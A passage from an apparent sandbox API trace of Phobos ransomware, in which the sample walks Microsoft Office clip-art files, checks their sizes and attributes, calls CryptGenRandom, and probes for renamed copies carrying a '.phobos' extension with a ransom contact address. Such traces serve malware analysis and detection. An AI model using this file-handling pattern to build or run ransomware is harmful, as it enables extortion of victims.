office\\root\\clipart\\pub60cor\\sl01040_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01040_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.937] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.938] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1548) returned 1 [0153.938] CloseHandle (hObject=0x588) returned 1 [0153.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01041_.wmf")) returned 0x220 [0153.938] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01041_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.939] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.940] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6916) returned 1 [0153.940] CloseHandle (hObject=0x588) returned 1 [0153.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01394_.wmf")) returned 0x220 [0153.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01394_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01394_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01394_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.940] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.940] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5004) returned 1 [0153.941] CloseHandle (hObject=0x588) returned 1 [0153.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01395_.wmf")) returned 0x220 [0153.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01395_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01395_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01395_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.941] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01565_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.941] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=27844) returned 1 [0153.941] CloseHandle (hObject=0x588) returned 1 [0153.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01565_.wmf")) returned 0x220 [0153.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01565_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01565_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SL01565_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sl01565_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.942] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.942] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13994) returned 1 [0153.942] CloseHandle (hObject=0x588) returned 1 [0153.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00017_.wmf")) returned 0x220 [0153.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00017_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00017_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00017_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.942] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.943] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13046) returned 1 [0153.943] CloseHandle (hObject=0x588) returned 1 [0153.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00018_.wmf")) returned 0x220 [0153.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00018_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.943] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.944] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=31360) returned 1 [0153.944] CloseHandle (hObject=0x588) returned 1 [0153.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00152_.wmf")) returned 0x220 [0153.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00152_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.944] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.945] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=18260) returned 1 [0153.945] CloseHandle (hObject=0x588) returned 1 [0153.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00157_.wmf")) returned 0x220 [0153.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00157_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00157_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.946] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.946] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.947] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8230) returned 1 [0153.947] CloseHandle (hObject=0x588) returned 1 [0153.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00159_.wmf")) returned 0x220 [0153.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00159_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.948] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.949] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13746) returned 1 [0153.949] CloseHandle (hObject=0x588) returned 1 [0153.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00166_.wmf")) returned 0x220 [0153.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00166_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.950] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.950] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15150) returned 1 [0153.950] CloseHandle (hObject=0x588) returned 1 [0153.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00168_.wmf")) returned 0x220 [0153.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00168_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.951] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.951] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.953] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8770) returned 1 [0153.953] CloseHandle (hObject=0x588) returned 1 [0153.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00170_.wmf")) returned 0x220 [0153.953] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00170_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00170_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.953] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.954] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=36622) returned 1 [0153.954] CloseHandle (hObject=0x588) returned 1 [0153.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00177_.wmf")) returned 0x220 [0153.954] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00177_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.954] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.954] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.955] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10300) returned 1 [0153.955] CloseHandle (hObject=0x588) returned 1 [0153.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00183_.wmf")) returned 0x220 [0153.955] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00183_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.955] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.956] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.956] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=20812) returned 1 [0153.956] CloseHandle (hObject=0x588) returned 1 [0153.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00190_.wmf")) returned 0x220 [0153.956] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00190_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.956] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.957] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0153.957] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=8336) returned 1 [0153.957] CloseHandle (hObject=0x588) returned 1 [0153.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00191_.wmf")) returned 0x220 [0153.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00191_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00191_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.957] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0153.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00192_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00192_.wmf"), 